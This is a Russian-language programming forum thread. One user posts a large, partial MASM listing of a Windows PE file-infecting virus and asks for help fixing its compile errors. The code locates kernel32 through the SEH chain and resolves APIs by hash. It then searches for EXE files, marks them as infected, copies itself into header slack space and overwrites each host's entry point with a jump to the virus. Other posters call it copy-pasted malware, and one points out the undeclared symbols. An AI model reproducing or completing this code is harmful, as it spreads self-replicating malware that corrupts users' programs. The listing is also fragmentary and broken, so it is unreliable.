Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 22.08.2012, 19:07   #1
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию Программа

Написал программу, которая ведет поиск в базе kerenl, для этого вычисляюстя адреса в таблице экспорта VA - VA = VBA+база,получаем проекцию на адрес искомой функции,поиск ведется по сигнатуре, которая имеет всегда стандартный загаловок PE,сверяется 4 байта+адресс 0FFFFFFFFh, - адресс kerenel32. Не удается откомпилировать программу, ругается на стандартный синткасис,программа использует поиск по сигнатуре PE-файлов и выдает ошибки кода add eax,delta_off,call FindFirstFileA, jz _FNFA,call GetFileSize и call GetFileSize. Причем компилировал на masm и masm32, компиляторы одинакого указывают на ошбки в синтаксисе, привожу

.
Код:
386
.model flat, stdcall
option casemap:none

pushz macro szText:VARARG
    local nexti
    call  nexti
    db    szText, 0
nexti:
endm

includelib \masm32\lib\kernel32.lib

ExitProcess PROTO :DWORD

.data
    db 0
.code
    invoke ExitProcess, 0
start:  
          
          Call    _Delta
_Delta:
          sub dword ptr [esp], offset _Delta
          push dword ptr [esp]
_ReadSEH:
xor  edx, edx			
mov  eax, dword ptr fs:[edx]	;читаем элемент SEH 
dec  edx				;edx = -1
_SearchK32:
cmp  dword ptr [eax], edx	;встретили нужный ?
je _CheckK32
mov  eax, dword ptr [eax]	;получаем следующее значение 
jmp _SearchK32
        _CheckK32:
mov  eax,[eax+4]		;получаем адрес ГДЕ-ТО в kernel32.dll
xor ax,ax			;выравниваем полученный адрес
_SearchMZ:
cmp word ptr [eax],5A4Dh	;сверяем сигнатуру
je _CheckMZ
sub eax,10000h			;если неравно то ищем дальше 
jmp _SearchMZ

_CheckMZ:
mov edx, dword ptr [eax+3ch]	;переходим на PE заголовок
cmp word ptr [eax+edx],4550h	;сверяем сигнатуру
jne _Exit
_SearchAPI: 
mov esi, dword ptr [eax+edx+78h]	;RVA таблицы экспорта            
add esi,eax                   			;нормализуем адрес
add esi,18h		;получаем нужный указатель на число ;указателей на имена
xchg eax,ebx
lodsd                        			;получаем число указателей на имена
push eax
lodsd                        			;получаем адрес таблицы экспорта.
push eax
lodsd                          		;получаем указатель на та таблицу ;указателей на имена 
push eax 
add eax,ebx
push eax                     		 	;Index элемента таблицы имен
lodsd                          			;получим  указатель на таблицу ординалов
push eax
mov edi, dword ptr [esp+4*5]		;указываем на стек 
lea edi, dword ptr [edi+HeshTable] 	;получаем смещение таблицы HeshTable
mov ebp,esp				;настраиваем стек
_BeginSearch:
mov ecx, dword ptr [ebp+4*4]		;число имен функций              
xor edx,edx

_SearchAPIName:          
mov esi, dword ptr [ebp+4*1]              ;Index элемента таблицы имен                                             
mov esi, dword ptr [esi]		;таблица экспорта
add esi,ebx				;адрес  ASСII имени первой API-функции      
_GetHash:
xor  eax,eax			 
push eax


_CalcHash:
ror  eax,7			;сдвигаем 
xor dword ptr [esp],eax		;ксорим
lodsb				;загружаем следующую букву
test al,al				;сверяем, конец ли имени ?
jnz _CalcHash
pop eax

_OkHash:
cmp eax, dword ptr [edi]		;сверяем полученный hash с тем что в ;таблице HeshTable
je _OkAPI
add dword ptr [ebp+4*1],4    		;сдвигаемся к другому элементу таблицы ;экспорта
inc edx
loop _SearchAPIName 
jmp _Exit                            

_OkAPI:
shl edx,1				;номер функции
mov ecx, dword ptr [ebp]               	;берем указатель на таблицу ординалов
add ecx,ebx				
add ecx,edx
mov ecx, dword ptr [ecx]
and ecx,0FFFFh
mov edx, dword ptr [ebp+4*3]             ;извлекаем Address Table RVA
add edx,ebx
shl ecx,2
add edx,ecx
mov edx, dword ptr [edx]
add edx,ebx
push edx					;сохраняем адрес найденной функции
cmp word ptr [edi+4],0FFFFh   	;последняя ?
je _Call_API
add edi,4				;следующее hash-значение функции
_NextName:          
mov ecx, dword ptr [ebp+4*2]          ;восстанавливаем начало таблицы  экспорта  
add ecx,ebx						
mov dword ptr [ebp+4*1], ecx          ;Index  в таблице имен 
jmp short _BeginSearch      

_Call_API:

push eax			
push eax	
 
	
SetCurrDir:

	mov eax,offset dir		;смещение переменной dir
	add eax,delta_off		;прибавляем дельту
	push eax
	call SetCurrentDirectory
	
	_FFFA:

pusha
	push esp                ;адрес переменной, в нее возвращается "старый" режим доступа
	push 40h               ;режим доступа (нам нужен 40h)
	push 2000h           ;размер области памяти в байтах
	mov eax,offset dir
	add eax,delta_off
	push eax	      ;адрес области памяти, чьи атрибуты страниц нужно изменить
	call VirtualProtect
	popa 
lea eax,WIN32_FIND_DATA
	add eax,delta_off	
	push eax			;указатель на структуру
	lea eax,EXE_MASK
	add eax,delta_off	
	push eax			;маска поиска
	call FindFirstFileA
inc eax
	jz _FNFA
	dec eax
	push eax   
	ReadFile:
[/CODE]

Последний раз редактировалось djonatan98; 23.08.2012 в 11:34.
djonatan98 вне форума Ответить с цитированием
Старый 22.08.2012, 19:27   #2
Goodwin98
equ asm
Участник клуба
 
Аватар для Goodwin98
 
Регистрация: 02.05.2009
Сообщений: 1,605
По умолчанию

как и прошлый раз. Ни оформления, ни конца.
Какой вопрос - такой ответ. Не забываем пользоваться поиском, гуглом.
Помощь в выполнении работ по ассемблеру ICQ:2725322O4
Goodwin98 вне форума Ответить с цитированием
Старый 22.08.2012, 21:31   #3
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Весь код просто не влезает,здесь ограничения до 5000 символов!Поиск ведется в базе kerenl, для этого вычисляюстя адрес в таблице экспорта - VA = VBA+база,получаем проекцию на адрес искомой функции,поиск ведется по сигнатуре, которая имеет всегда стандартный загаловок PE,сверяется 4 байта+адресс 0FFFFFFFFh, - адресс kerenel32
djonatan98 вне форума Ответить с цитированием
Старый 23.08.2012, 03:18   #4
Mikl___
Участник клуба
 
Регистрация: 11.01.2010
Сообщений: 1,139
По умолчанию

Цитата:
Сообщение от djonatan98
Весь код просто не влезает,здесь ограничения до 5000 символов!
Кто мешает создать два сообщения с фрагментом кода #1 и #2? И оформляй код в программе нажатием на кнопку #
Mikl___ вне форума Ответить с цитированием
Старый 23.08.2012, 06:45   #5
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,709
По умолчанию

Очередная тема с куском скопипасченного зловреда... и опять вопрос - нафига?
p51x вне форума Ответить с цитированием
Старый 23.08.2012, 09:02   #6
waleri
Старожил
 
Регистрация: 13.07.2012
Сообщений: 6,331
По умолчанию

Цитата:
Сообщение от p51x Посмотреть сообщение
и опять вопрос - нафига?
Ну развлекаются детки, как могут...
waleri вне форума Ответить с цитированием
Старый 23.08.2012, 11:39   #7
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

#2
Код:
tybtpush 0	;указатель на переменную для хранения                ;верхнего слова размера файла (не нужно)
	push eax				;хендл файла
	call GetFileSize
push eax

push 0
	push esp                               
	push dword ptr FileSize               		- количество байт для чтения
	push eax			                	- буфер для прочитанных данных
	push dword ptr FileHandle      	         	- хендл файла
	call ReadFile
	or eax,eax
	jz _CloseFile

_GetFreeSpace:
		
	mov edi,[esp]                          		;Начало прочитанного файла
	add edi,[edi].mz_neptr                 		;Offset PE Header

cmp word ptr [edi],4550h	;Проверка , PE ли файл мы заражаем ?
	jne _Exit

	add edi,4Ch								
	cmp [edi],'Q'		;проверяем поле Reserv 
	je _CloseFile
	mov [edi],'Q'		;если нет то ставим метку о заражении
	sub edi,4Ch
	
	movzx ecx,word ptr [edi].pe_numofobjects		;в ECX кол-во элементов (счетчик)
	push ecx                               		
	movzx esi,word ptr [edi].pe_ntheadersize		;размер NT Header 
	lea eax,[edi+esi+18h]                  			;VA первого элемента Object Table	
	push eax                               		
	mov ebx,[eax].oe_phys_offs             	;наименьшее физическое  смещение секции

_SearchLowhOffset:

	mov edx,[eax].oe_phys_offs         	;физическое  смещение секции	    
	cmp ebx, edx				;сверяем с наименьшим смещением
	jb _BigOffset                          	;если больше, то смотрим следующий элемент	
	mov ebx,edx            
                			
_BigOffset:              
                
	add     eax, 28h                       	; следующий элемент	
	loop _SearchLowhOffset
	
	CheckBounds:

	pop eax                                			;VA первого элемента в Object Table
	pop ecx                                			;кол-во элементов
	imul ecx,ecx,28h                       		;размер Object Table
	mov edx,[edi].pe_boundimportrva  		;присутствуют Bound Imports?	
	or edx,edx
	jz _NoBounds                           		
	add ecx,[edi].pe_boundimportsize  		;добавим их размер к Object Table	
        
_NoBounds:

	add eax,ecx                            			;VA "свободного места" в файле
	push ebx
	mov dword ptr [EIP],eax			;сохраняем его			 
	pop ecx
	add ebx,[esp]                       
	sub ebx,eax  ;Размер "свободного места"

_SaveInHeader:
	cmp ebx,dword ptr Virsize              		;проверим войдет ли код в заголовок	
	jb _CloseFile                          		
mov dword ptr [edi].pe_headersize,ecx  	;приравняем размер заголовков к физ. ;смещению первой секции	
	mov ecx,dword ptr Virsize           
	xchg eax,edi
	lea esi,start
	add esi,delta_off
Virsize equ $-start

pusha
	mov edi,eax 				;offset pe			
    mov ebx,dword ptr [edi+28h]	;стартовый код программы  (на него указывает :Entry Point) 			
	add ebx,dword ptr [edi+34h]	;нормализуем
	add ebx,000005h
    mov eax,dword ptr [EIP]	;смещение кода виря в памяти				 
	sub eax,AllocMem	;вычитаем начало памяти и получаем смещение кода 
	                    ;вируса (реальное)

	 add eax,dword ptr [edi+34h]		;+ Image Base
   sub ebx,eax
   xor eax,eax
   sub eax,ebx
   push eax				;результат формулы x=0-(y-z)
	mov ebx,AllocMem
	add ebx,dword ptr [edi+28h]		;адрес начала кода заражаемой программы

	mov ecx,5h			;счетчик
	lea edi,save_vir_b		;адрес переменной куда сохраняем 5 байт жертвы
	add edi,delta_off		;добавляем дельту
	mov esi,ebx			;адрес откуда читать 5 байт
	rep movsb			;сохраняем
	
	mov edi,ebx		;адрес куда записывать							
	lea esi,j_m_p		;адрес переменной откуда брать данные для записи
	add esi,delta_off	;добавляем дельту
	movsb			;пишем jmp на код вируса
	
	pop ebx
	mov dword ptr [edi],ebx
	
		popa
rep movsb

_WriteFile:
xor esi,esi
	push esi
	push esi
	push esi
	push dword ptr FileHandle               	;хендл файла.
	call SetFilePointer  

	push esi				;указатель на структуру Overlapped (не нужно)
push esp                                             ;указатель на буфер с размером файла 
	push dword ptr FileSize               	;размер файла
	push dword ptr AllocMem               	;адрес начала заказанной памяти 
	push dword ptr FileHandle              	;handle файла
	call WriteFile

_CloseFile:
	push dword ptr FileHandle              	;handle файла
	call CloseHandle

push dword ptr Find_H		;handle поиска
	call CloseHandle

	push dword ptr AllocMem               	;allocation memory
	call GlobalFree

	_msb_:
lea eax, usd		;имя библиотеки 
add eax, delta_off	
push eax		;в стек
call LoadLibrary	
lea edi, MSB		;имя функции
add edi, delta_off
push edi		;в стек
push eax		;handle полученной библиотеки в стек
call GetProcAddress
push 0			
push 0
push 0
push 0
call eax		;вызываем функции MessageBoxA()


_Exit:
cmp  delta_off,0		;проверяем поколение
	jz AA 
    	mov eax,offset dir
    	add eax, delta_off
	xor ax,ax

	_SearchMZ_:          
	cmp word ptr [eax],5A4Dh
	je _CheckMZ_
	sub eax,10000h
	jmp _SearchMZ_

Последний раз редактировалось djonatan98; 23.08.2012 в 11:47.
djonatan98 вне форума Ответить с цитированием
Старый 23.08.2012, 11:42   #8
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

я изучаю его в образовательных целях и тестировать его буду на свеом компьютере!!Я пытаюсь разобраться где здесь ошибка
djonatan98 вне форума Ответить с цитированием
Старый 23.08.2012, 12:24   #9
Mikl___
Участник клуба
 
Регистрация: 11.01.2010
Сообщений: 1,139
По умолчанию

Цитата:
Я пытаюсь разобраться где здесь ошибка
Цитата:
выдает ошибки кода add eax,delta_off,call FindFirstFileA, jz _FNFA,call GetFileSize и call GetFileSize
Функцию ExitProcess объявил
Код:
ExitProcess PROTO :DWORD
и функции FindFirstFileA и GetFileSize нужно объявлять, так как они внешние, переменная delta_off тоже нигде не объявлена
Mikl___ вне форума Ответить с цитированием
Старый 23.08.2012, 13:04   #10
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,709
По умолчанию

Обычно, в таких программах специально допускают банальные ошибки, чтоб всякие "хакеры" не натворили делов. )

Цитата:
я изучаю его в образовательных целях
Изучайте. Вы прочитали описание и секюрите нотес по использоемумо в коде багу? Вы знаете асм?

Вообще-то, я думал, обсуждение взлома и зловредов здесь запрещено... но видать модераторам виднее.
p51x вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Программа с применением записей и программа с применение множеств smert99 Помощь студентам 0 16.06.2011 23:14
Программа открыается если есть другая программа. bookkc Паскаль, Turbo Pascal, PascalABC.NET 12 14.10.2009 20:09
[PASCAL]Программа создания файла, программа обработки файла Виколяшка Фриланс 7 23.09.2009 17:38
Программа создания файла, программа обработки файла [PASCAL] Виколяшка Помощь студентам 1 22.09.2009 22:56